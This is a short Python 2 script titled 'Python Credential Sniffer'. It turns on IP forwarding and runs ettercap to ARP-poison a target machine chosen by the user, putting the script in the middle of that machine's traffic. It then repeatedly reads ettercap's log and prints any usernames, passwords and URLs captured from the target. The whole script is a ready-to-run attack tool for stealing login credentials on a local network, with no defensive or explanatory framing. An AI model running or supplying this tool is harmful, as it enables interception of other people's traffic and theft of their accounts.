Python Credential Sniffer

#! /usr/bin/env python
#include <stdio.h>
import subprocess
import socket, struct
import os
import sys
import time
os.system("clear")
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
target = raw_input("Enter the target IP: ")
interface = raw_input("Enter the interface you want to run on: ")
subprocess.call("ettercap -T -m etter.txt -i %s -M ARP /%s/ // &" % (interface, target), stdout=subprocess.PIPE, shell=True)
time.sleep(2)
log_file = "etter.txt"
old_time = os.stat(log_file).st_mtime
while True:
	username_list = list(subprocess.check_output("cat etter.txt | grep 'USER:' | tail -1 | awk '{print $6}'", shell=True))
	password_list = list(subprocess.check_output("cat etter.txt | grep 'PASS:' | tail -1 | awk '{print $8}'", shell=True))
	url = subprocess.check_output("cat etter.txt | grep 'INFO:' | tail -1 | awk '{print $10}'", shell=True)
	if "+" in username_list:
		fix1 = username_list.index('+')
		username_list[fix1] = " "
	username = "".join(username_list)
	if "+" in password_list:
		fix2 = password_list.index('+')
		password_list[fix2] = " "
	password = "".join(password_list)
	new_time = os.stat(log_file).st_mtime
	if old_time != new_time:
		print "\n------------------------\n|New credentials found.|\n------------------------\nUsername: %s\nPassword: %s\nURL: %s\n" % (username, password, url)
		old_time = new_time
	time.sleep(1)